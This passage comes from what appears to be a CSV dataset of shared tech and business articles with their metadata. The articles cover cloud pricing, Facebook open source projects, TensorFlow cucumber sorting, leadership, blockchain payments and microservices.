Michael Li and Ariel M'ndange-Pfupfu. The short job clearly benefited from GCP's by-the-minute billing, being charged only for 10 minutes of cluster time, whereas AWS charged for a full hour. But even the longer job was cheaper on GPS both because of fractional-hour billing and a lower per-unit time cost for comparable performance. It's also worth noting that storage costs weren't included in this comparison. Conclusion AWS was the first mover in the space, and this shows in the API. Its ecosystem is vast, but its permissions model is a little dated, and its configuration is a little arcane. By contrast, Google is the shiny new entrant in this space and has polished off some of the rough edges. It is missing some features on our wishlist, like an easy way to auto-terminate clusters and detailed billing information broken down by job. Also, for managing tasks programmatically in Python, the API client library isn't as full-featured as AWS's Boto . If you're new to cloud computing, GCP is easier to get up and running, and the credits make it a tempting platform. Even if you are already used to AWS, you may still find the cost savings make switching worth it, although the switching costs may not make moving to GCP worth it. Ultimately, it's difficult to make sweeping statements about these services because they're not just one entity; they're entire ecosystems of integrated parts, and both have pros and cons. The real winners are the users. As an example, at The Data Incubator, our Ph.D. data science fellows really appreciate the cost reduction as they learn about distributed workloads. And while our big data corporate training clients may be less price sensitive, they appreciate being able to crunch enterprise data faster, while holding price constant. Data scientists can now enjoy the multitude of options available, and the benefits of having a competitive cloud computing market. Article image: Hourglass comparison. (source: Pixabay ). How Baidu combined Tachyon with Spark SQL to increase speed 30-fold The Lambda Architecture has its merits, but alternatives are worth exploring. What it looks like to analyze, visualize, and even forecast human society using global news coverage. In this O'Reilly training video, the ""Hadoop Application Architectures"" authors present an end-to-end case study of a clickstream analytics engine to provide a concrete example of how to architect and implement a complete solution with Hadoop. In this segment, they provide an overview of the complete architecture. Presenters: Mark Grover, Gwen Shapira, Jonathan Seidman, Ted Malaska",en
1472727922,CONTENT SHARED,7187598944032799890,-2979537012405607453,-4362351633011051065,,,,HTML,http://fossbytes.com/top-15-facebook-open-source-projects-you-must-know/,Top 15 Facebook Open Source Projects You Must Know,"I am starting with Facebook as I am always impressed with all the project they have open sourced till date and how other companies including fossBytes uses some of these technologies. Facebook uses, maintains, and contributes to a significant number of major projects- in areas as diverse as native mobile tools, big data systems, client-side web libraries, backend runtimes and infrastructure, and through the Open Compute Project, server and storage hardware. Facebook's GitHub account alone, now has more than 90 repos comprising over 40,000 commits and that have collectively been forked 15,000 times. Facebook contribution to open source can be largely categorized into Mobile, Web, Back-end and Infrastructure. Top open source projects made in these categories are: Mobile: Buck is a high performance build system for Android that encourages creation of small, reusable modules consisting of code and resources. Because Android applications are predominantly written in Java, Buck also functions as a Java build system. Rebound is a Java library that models spring dynamics. Rebound spring models can be used to create animations that feel natural by introducing real world physics to your application. Rebound uses the same spring constants as making it easy to convert Origami interaction mockups directly into your Android application. Origami is a tool for designing modern user interfaces. Quickly put together a prototype, run it on your iPhone or iPad, iterate on it, and export code snippets your engineers can use. Stetho is an all new debugging platform for Android. It enables the powerful Chrome Developer Tools which is implemented using a client/server protocol which the Stetho software provides for your application. Once your application is integrated, simply navigate to chrome://inspect and click ""Inspect"" to get started! Infer Facebook is a static analysis tool to detect bugs in Android and iOS apps before they ship. If you give Infer some Objective-C, Java, or C code, it produces a list of potential bugs. Anyone can use Infer to intercept critical bugs before they have shipped to people's phones, and help prevent crashes or poor performance. Infer targets critical bugs such as null pointer exceptions, resource leaks and memory leaks. Web: React Js is a declarative, efficient, and flexible JavaScript library for building user interfaces. Lots of people use React as the V in MVC. Since React makes no assumptions about the rest of your technology stack, it's easy to try it out on a small feature in an existing project. HHVM (Hip Hop VM) is an open-source virtual machine designed for executing programs written in Hack and PHP. HHVM uses a just-in-time (JIT) compilation approach to achieve superior performance while maintaining the development flexibility that PHP provides. It has realized more than a 5x increase in throughput for Facebook compared with Zend PHP 5.2. HipHop is most commonly run as a standalone server, replacing both Apache and modphp, but it can also run standalone scripts from the command line. Flux is the application architecture that Facebook uses for building client-side web applications. It complements React's composable view components by utilizing a unidirectional data flow. It's more of a pattern rather than a formal framework, and you can start using Flux immediately without a lot of new code. Flow adds static typing to JavaScript to improve developer productivity and code quality. The goal of Flow is to find errors in JavaScript code with little programmer effort. Flow relies heavily on type inference to find type errors even when the program has not been annotated - it precisely tracks the types of variables as they flow through the program. fb-flo is a Chrome extension that lets you modify running apps without reloading. It's easy to integrate with your build system, dev environment, and can be used with your favorite editor. Jest is unit testing framework for JavaScript. It is built on top of the Jasmine test framework, using familiar expect(value).toBe(other) assertions. It automatically mocks CommonJS modules returned by require(), making most existing code testable. Nuclide is a suite of packages for to provide IDE-like functionality for a variety of programming languages and technologies. It is designed to provide a unified developer experience for engineers throughout the company - whether they work on native iOS apps, on React and React Native code, or on Hack to run on our HHVM web servers. Back-end: Presto is an open source distributed SQL query engine for running interactive analytic queries against data sources of all sizes ranging from gigabytes to petabytes. Facebook uses Presto for interactive queries against several internal data stores, including their 300PB data warehouse. Over 1,000 Facebook employees use Presto daily to run more than 30,000 queries that in total scan over a petabyte each per day. Osquery gives you a SQL interface to try out new queries and explore your operating system. With the power of a complete SQL language and dozens of useful tables built-in, osquery is an invaluable tool when performing incident response, diagnosing system operations problem, or troubleshooting a performance issue. Deploy a security tool that also enables developers and administrators. RocksDB builds on LevelDB to be scalable to run on servers with many CPU cores, to efficiently use fast storage, to support IO-bound, in-memory and write-once workloads, and to be flexible to allow for innovation. Not only softwares, but Facebook has also built various custom hardware competent to meet its ever increasing scale under Open Compute Project . Unlike Google and Microsoft, Facebook not only contributes its research work but also the end implementation to open source community. Let us know in comments your views towards Facebook's open source contribution. Check out our other articles on open source projects here .",en
1472729496,CONTENT SHARED,1553114235264483780,-1443636648652872475,-8099668634903883083,,,,HTML,https://cloud.google.com/blog/big-data/2016/08/how-a-japanese-cucumber-farmer-is-using-deep-learning-and-tensorflow,How a Japanese cucumber farmer is using deep learning and TensorFlow | Google Cloud Big Data and Machine Learning Blog | Google Cloud Platform,"It's not hyperbole to say that use cases for machine learning and deep learning are only limited by our imaginations. About one year ago, a former embedded systems designer from the Japanese automobile industry named Makoto Koike started helping out at his parents' cucumber farm, and was amazed by the amount of work it takes to sort cucumbers by size, shape, color and other attributes. Makoto's father is very proud of his thorny cucumber, for instance, having dedicated his life to delivering fresh and crispy cucumbers, with many prickles still on them. Straight and thick cucumbers with a vivid color and lots of prickles are considered premium grade and command much higher prices on the market. But Makoto learned very quickly that sorting cucumbers is as hard and tricky as actually growing them. ""Each cucumber has different color, shape, quality and freshness,"" Makoto says. Cucumbers from Makoto's farm and ones from retail stores In Japan, each farm has its own classification standard and there's no industry standard. At Makoto's farm, they sort them into nine different classes, and his mother sorts them all herself - spending up to eight hours per day at peak harvesting times. ""The sorting work is not an easy task to learn. You have to look at not only the size and thickness, but also the color, texture, small scratches, whether or not they are crooked and whether they have prickles. It takes months to learn the system and you can't just hire part-time workers during the busiest period. I myself only recently learned to sort cucumbers well,"" Makoto said. Distorted or crooked cucumbers are ranked as low-quality product There are also some automatic sorters on the market, but they have limitations in terms of performance and cost, and small farms don't tend to use them. Makoto doesn't think sorting is an essential task for cucumber farmers. ""Farmers want to focus and spend their time on growing delicious vegetables. I'd like to automate the sorting tasks before taking the farm business over from my parents."" Makoto Koike, center, with his parents at the family cucumber farm The many uses of deep learning Makoto first got the idea to explore machine learning for sorting cucumbers from a completely different use case: Google AlphaGo competing with the world's top professional Go player. ""When I saw the Google's AlphaGo, I realized something really serious is happening here,"" said Makoto. ""That was the trigger for me to start developing the cucumber sorter with deep learning technology."" Using deep learning for image recognition allows a computer to learn from a training data set what the important ""features"" of the images are. By using a hierarchy of numerous artificial neurons, deep learning can automatically classify images with a high degree of accuracy. Thus, neural networks can recognize different species of cats, or models of cars or airplanes from images. Sometimes neural networks can exceed the performance of the human eye for certain applications. (For more information, check out my previous blog post Understanding neural networks with TensorFlow Playground .) TensorFlow democratizes the power of deep learning But can computers really learn mom's art of cucumber sorting? Makoto set out to see whether he could use deep learning technology for sorting using Google's open source machine learning library, TensorFlow. ""Google had just open sourced TensorFlow, so I started trying it out with images of my cucumbers,"" Makoto said. ""This was the first time I tried out machine learning or deep learning technology, and right away got much higher accuracy than I expected. That gave me the confidence that it could solve my problem."" With TensorFlow, you don't need to be knowledgeable about the advanced math models and optimization algorithms needed to implement deep neural networks. Just download the sample code and read the tutorials and you can get started in no time. The library lowers the barrier to entry for machine learning significantly, and since Google open-sourced TensorFlow last November, many ""non ML"" engineers have started playing with the technology with their own datasets and applications. Cucumber sorting system design Here's a systems diagram of the cucumber sorter that Makoto built. The system uses Raspberry Pi 3 as the main controller to take images of the cucumbers with a camera, and in a first phase, runs a small-scale neural network on TensorFlow to detect whether or not the image is of a cucumber. It then forwards the image to a larger TensorFlow neural network running on a Linux server to perform a more detailed classification. Systems diagram of the cucumber sorter Makoto used the sample TensorFlow code Deep MNIST for Experts with minor modifications to the convolution, pooling and last layers, changing the network design to adapt to the pixel format of cucumber images and the number of cucumber classes. Here's Makoto's cucumber sorter, which went live in July: Here's a close-up of the sorting arm, and the camera interface: And here is the cucumber sorter in action: Pushing the limits of deep learning One of the current challenges with deep learning is that you need to have a large number of training datasets. To train the model, Makoto spent about three months taking 7,000 pictures of cucumbers sorted by his mother, but it's probably not enough. ""When I did a validation with the test images, the recognition accuracy exceeded 95%. But if you apply the system with real use cases, the accuracy drops down to about 70%. I suspect the neural network model has the issue of ""overfitting"" (the phenomenon in neural network where the model is trained to fit only to the small training dataset) because of the insufficient number of training images."" The second challenge of deep learning is that it consumes a lot of computing power. The current sorter uses a typical Windows desktop PC to train the neural network model. Although it converts the cucumber image into 80 x 80 pixel low-resolution images, it still takes two to three days to complete training the model with 7,000 images. ""Even with this low-res image, the system can only classify a cucumber based on its shape, length and level of distortion. It can't recognize color, texture, scratches and prickles,"" Makoto explained. Increasing image resolution by zooming into the cucumber would result in much higher accuracy, but would also increase the training time significantly. To improve deep learning, some large enterprises have started doing large-scale distributed training, but those servers come at an enormous cost. Google offers Cloud Machine Learning (Cloud ML), a low-cost cloud platform for training and prediction that dedicates hundreds of cloud servers to training a network with TensorFlow. With Cloud ML, Google handles building a large-scale cluster for distributed training, and you just pay for what you use, making it easier for developers to try out deep learning without making a significant capital investment. These specialized servers were used in the AlphaGo match Makoto is eagerly awaiting Cloud ML. ""I could use Cloud ML to try training the model with much higher resolution images and more training data. Also, I could try changing the various configurations, parameters and algorithms of the neural network to see how that improves accuracy. I can't wait to try it.""",en
1472739274,CONTENT SHARED,-615912190028612956,6013226412048763966,1930561315994163469,,,,HTML,http://vocesa.uol.com.br/noticias/acervo/coragem-e-o-principal-requisito-para-ser-um-bom-lider-diz-o-autor-britanico-simon-sinek.phtml,"Ser um bom líder depende de inúmeros fatores. Mas um deles, segundo o inglês Simon Sinek, é importantíssimo: a coragem para proteger as equipes e para arriscar quando necessário","Crédito: Divulgação"" title=""""Nós seguimos os bons líderes não porque precisamos mas porque queremos"", diz o inglês Simon Sinek | Crédito: Divulgação""> ""Nós seguimos os bons líderes não porque precisamos mas porque queremos"", diz o inglês Simon Sinek | Crédito: Divulgação Qual o principal requisito de uma liderança inspiradora? Essa é uma pergunta que gera muitas respostas. E o inglês Simon Sinek, especialista em gestão, encontrou um adjetivo satisfatório: coragem. Para ele, o que faz com que os profissionais sejam vistos por suas equipes como excelentes líderes é a capacidade de proteger as equipes e a ousadia para arriscar. Simon está lançando no Brasil o livro Líderes se Servem Por Último (44,90 reais, HSM) - e a metáfora do título explica exatamente o que ele acredita ser o grande papel de um bom gestor de pessoas: desenvolver os times, fazendo com que os subordinados sejam os primeiros a ""se alimentar"". Só assim as equipes conseguem ter força para produzir e motivação para trabalhar. VOCÊ S/A - A sua teoria de liderança diz que grandes líderes colocam os interesses dos times em primeiro lugar e ""comem por último"". Por que essa atitude é importante? SIMON- A metáfora ""os líderes comem por último"" se relaciona com a dos pais, que sempre alimentam as crianças primeiro - não porque leram isso em um livro, não porque foram ensinadas, simplesmente porque usam o instinto paterno ou materno. Esse instinto de cuidar de pessoas que dependem de você pode ser aplicado à liderança. Liderar não é sobre estar no comando. É sobre cuidar das pessoas que estão sob o seu comando. Essa é a verdadeira liderança. Os líderes que comem por último até poderiam comer primeiro, pois o cargo permite. Eles poderiam, também, conseguir regalias e vantagens por conta da posição que ocupam. Mas não fazem isso. Os verdadeiros líderes preferem sacrificar seus interesses para cuidar bem das vidas das pessoas que fazem parte de sua equipe - e nunca sacrificam a vida do time para cuidar de seus próprios interesses. Eles escolhem comer por último por uma questão de honestidade e lealdade. Os líderes são aqueles que protegem. E quando as pessoas se sentem seguras, elas transmitem essa segurança para os colegas, clientes e consumidores. VOCÊ S/A - Seu livro mostra a evolução da liderança da era Paleolítica até os dias de hoje. Como eram os líderes do tempo das cavernas? SIMON- O que faz com que alguém seja um líder na era Paleolítica e hoje é exatamente a mesma coisa. O que evolui são as condições em que operamos. No paleolítico, vivíamos em cavernas em tribos que tinham entre 100 e 150 pessoas. Nossos líderes eram homens fortes e grandes - e havia os homens-alfa. Naquela época, a questão era sobreviver. Os homens mais fortes, os ""alfas"", eram capazes de suportar cargas pesadas, encontrar alimentos e proteger a tribo do perigo. Por conta disso, eles tinham o privilégio de possuir a primeira escolha de carne da tribo (para se sentirem mais fortes e continuar caçando) e a primeira escolha da companheira que gostariam de ter (para garantir que os melhores genes fossem perpetuados). VOCÊ S/A - Eles tinham esses privilégios por que cuidavam bem da tribo? SIMON - Havia um código antropológico do que significava liderar no Paleolítico, que é o mesmo até hoje: os liderados permitem um tratamento preferencial para o líder. Mas isso tem um custo, o líder tem que agir de acordo com o interesse coletivo. Se os liderados dão ao líder todos os benefícios e ele não os protege do perigo, não é um líder de verdade. A liderança é um serviço. Serviço vem com sacrifício. Se não há sacrifício, não há serviço, nem liderança. VOCÊ S/A - Quais características transformam alguém em um líder excepcional? SIMON - O requisito para ser um líder não é ter visão ou carisma. É ter coragem. Liderar significa que temos que dar o primeiro passo, que temos que colocar a corda no pescoço para defender aquilo que acreditamos. Todos os bons líderes são corajosos e coragem não é algo que, miraculosamente, surge dentro de você. Nossa coragem vem da coragem dos outros, daqueles que fizeram algo antes de nós e que nos olham nos olhos e dizem: ""Eu acredito em você. Você consegue fazer isso"". Características como egocentrismo e ganância acabam com o significado da palavra liderar. A liderança é sobre cuidar das pessoas pelas quais você é responsável. Aqueles que se esquecem disso não são líderes, são simplesmente autoridades que mandam usando ferramentas como medo ou a necessidade que o empregado tem de manter aquele trabalho. Mas nós não seguimos esses profissionais. Nós seguimos os bons líderes não porque precisamos, mas porque queremos. VOCÊ S/A - Quais as diferenças entre gerentes e líderes? SIMON- Gerentes se preocupam com melhorias. Líderes se preocupam com saltos à frente. Gerentes se concentram em sistemas, métricas, processos e resultados. Líderes mantém o foco na percepção de como as ações do time influenciam nos resultados. Gerentes olham para os números. Líderes olham para o ""nós"". Todos os gerentes de métricas têm a oportunidade de se tornar líderes de pessoas. VOCÊ S/A - O Brasil está enfrentando uma crise econômica e, ao mesmo tempo, uma crise de liderança institucional. Nas empresas, o que os líderes precisam fazer para combater a descrença de seus times? SIMON- Se tornar líderes melhores. Liderança não é uma campanha de marketing. Não se trata de convencer as pessoas, mas de cuidar das pessoas. Liderança não é sobre enviar uma mensagem. É sobre a mensagem em si. Pense no Dr. Martin Luther King: 250 000 pessoas foram ouvi-lo falar de perto. Não houve lembretes por e-mail, campanha no Facebook ou hashtags para atrair essa multidão. Todos eles se reuniram porque tinham algo em comum - acreditar em uma América em que as leis deveriam ser iguais para todos, independentemente de cor da pele, religião ou classe econômica. Dr. King foi capaz de criar um movimento forte em um momento de crise porque não ficou parado esperando por um futuro melhor. Ele não fez o discurso do ""Eu tenho um plano"". Ele fez o discurso do ""Eu tenho um sonho"" e transformou em palavras o que ansiava. Com isso, Dr. King nos deu um mundo do qual poderíamos fazer parte e no qual poderíamos contribuir. Ele não quis tentar provar como poderia resolver tudo sozinho. Ele criou as condições (e o desejo) para que nós fizéssemos isso juntos, ao lado dele.",pt
1472744003,CONTENT SHARED,3495098006178009360,-1032019229384696495,4845766491468696400,,,,HTML,http://www.businessinsider.com/google-silicon-valley-tabs-spaces-debate-2016-8,A Googler analyzed a billion files to settle the programming dispute made famous by HBO's 'Silicon Valley',"If you watch HBO's ""Silicon Valley,"" you may remember this now-classic scene from the most recent season, where our hero Richard Hendricks ends his relationship with a Facebook engineer over her programming style: The debate over tabs and spaces , as presented in HBO's Silicon Valley, is real: Developers have been arguing over using tabs versus spaces for formatting their code for almost as long as the concept of programming has existed. At stake is the aesthetics of the code itself - does putting a tab after each new line make it more readable? Or do you just push the space bar a few times? (A more detailed explanation of the tabs vs. spaces debate can be found here .) And so Google Developer Advocate Felipe Hoffa stepped in . By analyzing a billion files, taken from the 400,000 top programming projects on the GitHub social network for software developers, representing 14 terabytes of data all told, he was able to see who was using tabs, and who was using spaces, in most major programming languages. You can read his full results and methodology here , but the end result is bad news for the tabs-loving Hendricks. Check it out: Felipe Hoffa/Google As you can see, spaces far outpace tabs in every major programming language with the exceptions of C, one of the very oldest programming languages still widely used , and Google's Go, an upstart of a programming language that's finding fans among people writing software for the server. This doesn't exactly prove which one is better - but it certainly shows the way that programmers are working in real life. And in most ways that matter, it seems the debate is already over. SEE ALSO: 'Silicon Valley' built an entire episode around one of the most obscure fights in programming NOW READ: One of the oldest ways to write software is finally starting to fade NOW WATCH: Bumble founder: Here's what's seriously wrong with the growing trend in Silicon Valley called 'brogramming'",en
1472746714,CONTENT SHARED,385212706171385893,6960073744377754728,6687588865128623775,,,,VIDEO,http://www.ted.com/talks/don_tapscott_how_the_blockchain_is_changing_money_and_business,Don Tapscott: How the blockchain is changing money and business,"What is the blockchain? If you don't know, you should; if you do, chances are you still need some clarification on how it actually works. Don Tapscott is here to help, demystifying this world-changing, trust-building technology which, he says, represents nothing less than the second generation of the internet and holds the potential to transform money, business, government and society.",en
1472750564,CONTENT SHARED,90383487344892230,7645894863578715801,535059460675595168,,,,HTML,http://www.kennybastani.com/2016/08/strangling-legacy-microservices-spring-cloud.html,Building Spring Cloud Microservices That Strangle Legacy Systems,"The method that I explained above came to me about a year after completing a greenfield microservices project on a similar architecture. The project would be a pilot for building microservices that would extend legacy components of a retail banking platform-a system that was already serving millions of users in production. The result of the project was a success, as we realized the direct benefits of being agile with the microservices approach . While we were able to deliver business differentiating features quickly, our speed to market came at the cost of tightly coupling microservices to the existing components of the legacy system. There were a few factors that required us to create this tight coupling. We shackled ourselves into vertically scaled infrastructure provisioned in a private data center We didn't have a platform that supported cloud-native application development We didn't have a self-service tool in place to automate provisioning of databases for new microservices Because of these factors, we had to use the legacy system's large shared database for persistence by our new microservices. We would use database access control features to isolate our microservice's tables from being directly accessed by other applications. Even though these access features are for multitenancy , it would allow us to migrate the schema easily to a separate database at a later time. The fundamental issue with this approach was that it took us seven months to get the first microservice release into production. The early dependency on the shared database posed too much of a risk of impacting millions of production users. We realized that risk when we discovered a framework defect that caused our new microservices to be unable to release database cursors when undergoing stress testing in the performance environment. The lesson learned in this experience was an important one. A new microservice should encapsulate both the unit of service and the unit of failure -in production-on the very first day of development. When I say unit of service and unit of failure I am referring to a quote by storied computer scientist, Jim Gray. Gray wrote a technical report in 1985 titled Why Do Computers Stop and What Can Be Done About It? In the report, Gray talks about how to achieve fault-tolerance in software. As with hardware, the key to software fault-tolerance is to hierarchically decompose large systems into modules, each module being a unit of service and a unit of failure. A failure of a module does not propagate beyond the module. When I hear thought leaders talk about microservices and say that the ideas are not new, I always think back to this quote by Jim.",en
1472752143,CONTENT SHARED,4241385837165861843,-1479311724257856983,2228015062196318632,,,,HTML,https://unionmetrics.zendesk.com/hc/en-us/articles/201201816-Understanding-the-Twitter-topic-Tracker,Understanding the Twitter topic Tracker,"By default, an Twitter topic Tracker will show activity from the past 30 days. Click on the calendar icon in the upper right hand corner to adjust the timeframe you're viewing. You can also download a PDF of your Tracker, or export the raw data to a CSV. Summary and Trend Data: Potential reach: The size of the unique potential audience that received tweets about the topic. Potential impressions: The total number of potential impressions (non-unique) generated by tweets about the topic. Frequency: The number of potential impressions generated divided by potential reach (impressions per recipient account). Total tweets: The total number of tweets about the topic. We include a breakdown between the number of original tweets versus retweets. Contributors: The number of unique people who have mentioned the topic being tracked. We also included the average number of tweets posted per unique contributor as well as the average number of followers of all contributors. Metrics Bar Average Tweets/Day: The average number of tweets about this topic per day. Potential impressions/Tweet: The average number of potential impressions generated by each tweet about the topic. Potential impressions/Day: The average number of potential impressions generated about the topic each day. Retweets/tweet: The average retweet to tweet ratio. Top Tweets: A list of the top 10 tweets ranked by potential impressions. Tweet Overview Report: Click the list icon to view a complete list of all tweets about the topic from this time period. Within this page you will see other stats about each tweet including: retweets, replies, direct impressions and amplified impressions. You can refine the conversation further by searching for specific keywords at the top of the page. Top Contributors: A list of the top 10 contributors who have participated in the conversation around the topic, as ranked by the user whose tweets have generated the most impressions. Contributor Overview Report: Click on the list icon to view a complete list of all the contributors who have participated in the conversation around a topic for the given time period. Next to each contributor we include: Tweets: The number of tweets the user created about the topic. Impressions: The direct impressions generated as a result of sending them out to his/her followers. Retweets: The number of times a contributor's tweets were retweeted. RT Rate: The average number of retweets per tweet a contributor has received. This is defined as retweet /tweets. Total Exposure: The total number of potential impressions generated by a contributor, including direct impressions from the contributor's tweets and amplified impressions from retweets and replies. Amplification Multiplier: The contributor's rate of amplification based on how far his/her tweets spread as the result of retweets and replies. It is defined as ((total exposure - impressions) / impressions) + 1. Detailed Contributor Report: Click on any user name to get a detailed report on how an individual has contributed to the dialogue around the topic. Within the report you will see some top-line metrics on the account including number of followers, how many times the account is listed and Klout score. There is also a bar chart to show tweet volumes across particular days. The report also includes all the tweets around this contributor, and you can toggle between the tweets from the contributor and those mentioning it. Top Hashtags: A list of the top five hashtags used in association with the topic being tracked, as ranked by overall impressions. Hashtag Overview Report: Click on the list icon to view a complete list of all the hashtags used in association with the topic being tracked. Within the report you will see how many tweets about the topic included the hashtag, retweets including the hashtag, contributors who have used the hashtag and impressions generated by the hashtag. Detailed Hashtag Report: Click on any hashtag for a detailed view of the activity around it. Within the report you will get a graphical view of the impressions generated by the hashtag, volume of tweets that included the hashtag and the contributors using it. There is also a metrics bar with averages around the hashtag and beneath that are the tweets including the hashtags and the top contributors who have utilized it. Top URLS: A list of the top five URLs used in association with the topic being tracked, as ranked by overall impressions. URL Overview Report: Click on the list icon to view a complete list of all the URLs used in association with the topic being tracked. Within the report you will see how many tweets included the URL, retweets including the URL, contributors who have used the URL and impressions generated by the URL. Detailed URL Report: Click on any URL for a detailed view of the activity around it. Within the report you will get a graphical view of the impressions generated by the URL, volume of tweets that included the URL and the contributors using it. There is also a metrics bar with averages around the URL and beneath that are the tweets including the URL and the top contributors who have utilized the URL.",en
1472759192,CONTENT SHARED,-793729620925729327,-534549863526737439,-9017475783688456974,,,,HTML,https://developers.googleblog.com/2016/08/closure-compiler-in-javascript.html,Closure Compiler in JavaScript,"Posted by Sam Thorogood , Developer Programs Engineer The Closure Compiler was originally released, in Java, back in 2009 . Today, we're announcing the very same Closure Compiler is now available in pure JavaScript , for use without Java. It's designed to run under NodeJS with support for some popular build tools. If you've not heard of the Closure Compiler, it's a JavaScript optimizer, transpiler and type checker, which compiles your code into a high-performance, minified version. Nearly every web frontend at Google uses it to serve the smallest, fastest code possible. It supports new features in ES2015, such as let, const, arrow functions, and provides polyfills for ES2015 methods not supported everywhere. To help you write better, maintainable and scalable code, the compiler also checks syntax, correct use of types, and provides warnings for many JavaScript gotchas. To find out more about the compiler itself, including tutorials, head to Google Developers . How does this work? This isn't a rewrite of Closure in JavaScript. Instead, we compile the Java source to JS to run under Node, or even inside a plain old browser. Every post or resource you see about Closure Compiler will also apply to this version. To find out more about Closure Compiler's internals, be sure to check out this post by Dimitris (who works on the Closure team at Google), other posts on the Closure Tools blog, or read an exploratory post about Closure and how it can help your project in 2016. Note that the JS version is experimental. It may not perform in the same way as the native Java version, but we believe it's an interesting new addition to the compiler landscape, and the Closure team will be working to improve and support it over time. How can I use it? To include the JS version of Closure Compiler in your project, you should add it as a dependency of your project via NPM- To then use the compiler with Gulp , you can add a task like this- If you'd like to migrate from google-closure-compiler (which requires Java), you'll have to use gulp.src() or equivalents to load your JavaScript before it can be compiled. As this compiler runs in pure JavaScript, the compiler cannot load or save files from your filesystem directly. For more information, check out Usage , supported Flags , or a demo project . Not all flags supported in the Java release are currently available in this experimental version. However, the compiler will let you know via exception if you've hit any missing ones.",en
1472763312,CONTENT SHARED,8789407896263306493,7580644064067188685,7260685939657385269,,,,HTML,https://www.cryptocoinsnews.com/visa-test-blockchain-payments-among-banks-swift-rival/,VISA to Test Blockchain Payments among Banks; a SWIFT Rival?,"VISA and blockchain-technology partner BTL will invite a select group of European banks to participate in a blockchain project that will see inter-bank payments made via transfers over the ledger. Hot on the heels of the likes of R3, Visa will experiment its own blockchain-based payments platform with a select group of banks who will send money over a blockchain. The proof-of-concept project will use Interbit, a cross-border blockchain remittance and settlement platform developed by industry startup BTL. Launched earlier this year , the Interbit platform is seen by Visa as the solution to ""reduce cost, settlement time, credit risk, and by leveraging smart contracts to automate many of the regulation and compliance requirements of domestic and international transfers."" BTL estimates that remittance costs can be reduced by over 80% through the Interbit platform, compared to traditional means, such as SWIFT. Hendrik Kleinsmiede, co-founder of Visa Europe Collab, stated: We're now inviting a small number of European banks to participate in the project alongside us and BTL. Participating banks will be able to connect to the network and send funds to other banks in the network across multiple currencies. The proof-of-concept project is expected to complete the banking experiment within 100 days. Visa has made notable strides to research and develop blockchain technology with various endeavors in recent times. For instance, the world's largest payments network revealed plans to expand its team of 750 engineers at its technology innovation lab in India. The blockchain-focused technology center is aiming at employing over 1,000 employees before end of 2017, up from 400 engineers during its August 2015 launch. In late 2015, Visa Europe Collab partnered with Epiphyte, a blockchain-based software-as-a-solution (SaaS) provider to develop a proof-of-concept. Earlier this year, Visa published a job posting that sought to hire a senior software engineer to join as a part of its research team to develop a ""secure and scalable blockchain"" network. Kleinsmiede added: Through the use of smart contracts and blockchains, I believe we can create a fast, compliant and low-cost interbank payment and settlement service, with embedded regional compliance. Blockchain Remittance One of the first known instances of banks using a blockchain to exchange value came to light in early 2016 when R3 revealed an experiment with a total of 11 participating banks, across four continents. Each bank was connected to a private R3-managed ledger, underpinned by Ethereum technology while hosted on a VPN on Azure, Microsoft's public cloud platform. The successful test ran continuously 24 hours a day for five days in total. In February 2016, a report revealed that JP Morgan Chase, the largest bank in the United States, was discreetly testing U.S. dollar transfers between London and Tokyo with some 2,200 participating clients. JPMorgan is expected to introduce the technology for live transactions later this year. Images from Shutterstock.",en
1472764628,CONTENT SHARED,-3077386995956755130,-1443636648652872475,-8099668634903883083,,,,HTML,http://www.digitaltrends.com/cool-tech/deep-learning-startup-retail-photos/,Startup uses deep learning to let you shop for items by snapping photos,"Computer vision and image recognition, aka the ability to show a computer a picture of something and have it tell you what it is seeing, has been befuddling researchers for years. In the past decade, however, it has taken enormous leaps forward thanks to deep learning neural networks. These are essentially vast computational approximations of the way that the human brain works, which can learn to recognize objects and people based on training examples. A number of companies have attempted to use this kind of technology to transform the retail space, but so far none have really succeeded. We scan QR codes when we go into a store, or type the name of a book into Amazon, but the technology that lets us snap a quick picture of, say, a chair that we like and easily search for it (or similar items) online has largely eluded us. This is a problem a team of Cornell University researchers are trying to solve. With a new startup called GrokStyle , co-founders and computer scientists Sean Bell and Kavita Bala have developed a state-­of-­the-­art algorithm that is more accurate than any competing system at recognizing objects within a picture and then linking them to real­-world items for sale. Related: Snap a photo of your meal and this AI-powered startup will tell you how many calories it contains ""What we're focused on is the post­-search experience,"" Bell, a computer science Ph.D., told Digital Trends. ""That's something I don't feel has been very good so far. What we're doing is not just recognizing a product, but finding out who else sells it, whether there are existing variations, whether you can get it in a different type of wood, etc. We're not just trying to answer the 'what is this?' question about objects, but trying to answer the related questions people have in the shopping experience."" As you can imagine, this isn't easy ­- ­and particularly not since it does more than apps, which recognize, say, book covers and movies by letting you search for that item and that one alone. ""You may be in a restaurant and see a chandelier you like, and want to one to find one that is the same and available for sale - or similar, but in a different color or price point,"" Bell said. ""The idea is that you take a picture of something you like, and then based on that image, you get presented with a list of similar items. You can then filter these based on location, material, and various other metrics. It's not just simply about either finding something or not finding it; we wanted to give you a wide variety of choice."" Going forward, the idea is to even let users single out particular qualities of an object (say, its grain of wood or fabric) and then find other complimentary items. ""Our system lets you hold certain aspects as constants, and then change other attributes,"" he said. The system the team has developed, described in the journal ACM Transactions on Graphics under the name ""Learning visual similarity for product design with convolutional neural networks,"" was benchmarked to be an astonishing two times as accurate as competing methods. It is hoped that users will be able to try out the system over the coming months. ""This is an exciting area, and ultimately we think it'll come down to who has the best technology,"" Bell said. ""Right now we're state of the art in terms of product image recognition. We've demonstrated to the academic community that our system for doing this is the most accurate. We want to continue that edge going forwards.""",en
1472764688,CONTENT SHARED,-519908173368613957,-1443636648652872475,-8099668634903883083,,,,HTML,http://devzum.com/2015/06/best-machine-learning-cheat-sheets/,8 Best Machine Learning Cheat Sheets,"Machine learning as we all know is a subfield of computer science that has evolved from the study of pattern recognition and computational learning theory in artificial intelligence. It helps in exploring the construction and study of algorithms. Machine learning is not something that is too hard to learn infact with little help, one can go ahead and work on different projects. Infact, it is the hottest buzz that is attracting the attention of many. While some of you might be busy going through the 12 Best Free Ebooks for Machine Learning , chances are that many of you have taken the step and trying to gather the resources and learning ways to proceed and handle projects. If you are the one who has decided to pursue then we promise to help you with as much useful stuff as possible. Today, we have come up with best machine learning cheat sheets that are not too much in number but are simply worth it. Take a look and enjoy the ease of workflow with these below listed best machine learning cheat sheets. This machine learning cheat sheet will help you find the right estimator for the job which is the most difficult part. The flowchart will help you check the documentation and rough guide of each estimator that will help you to know more about the problems and how to solve it. Emanuel Ferm created this useful cheat sheet for personal use, and then later introduced for everyone to download. Check this and learn many aspects of machine learning in a matter of minutes. Another useful 